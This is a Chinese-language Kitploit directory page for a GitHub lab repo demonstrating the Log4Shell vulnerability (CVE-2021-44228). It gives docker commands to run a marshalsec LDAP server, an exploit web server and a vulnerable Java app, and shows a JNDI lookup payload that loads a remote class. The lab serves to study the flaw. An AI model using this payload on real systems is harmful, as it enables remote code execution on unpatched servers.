Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2021-44228_Example | Kitploit
工具/GitHubGitHub/chilliwebs/cve-2021-44228_example
动态分析 (沙盒)Payload生成漏洞分析漏洞利用Web应用程序漏洞利用
GitHubchilliwebs/cve-2021-44228_example

CVE-2021-44228_Example

查看仓库
14年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2021-44228_示例

在单独的标签页/控制台中运行每个部分

marshalsec LDAP 服务器 https://github.com/chilliwebs/marshalsec (派生自 https://github.com/mbechler/marshalsec)

root@kitploit:~
docker build -t marshalsec marshalsec/.
docker run -it --rm -p 1389:1389 --add-host=host.docker.internal:172.17.0.1 --name marshalsec marshalsec

漏洞利用 Web 服务器

root@kitploit:~
docker build -t exploit ./exploit
docker run -it --rm -p 8888:8888 --add-host=host.docker.internal:172.17.0.1 --name exploit exploit

实验品 Java 应用程序(运行存在漏洞版本的 Java 和 Log4J)

root@kitploit:~
docker build -t guinea_pig guinea_pig/.
docker run -it --rm --add-host=host.docker.internal:172.17.0.1 --name guinea_pig guinea_pig

运行 guinea_pig 时,应看到以下日志:

root@kitploit:~
PWND!
[main] ERROR gp.GuineaPig - ${jndi:ldap://host.docker.internal:1389/#Exploit}

"PWND!" 是从外部注入的类(Exploit)中记录的

下载工具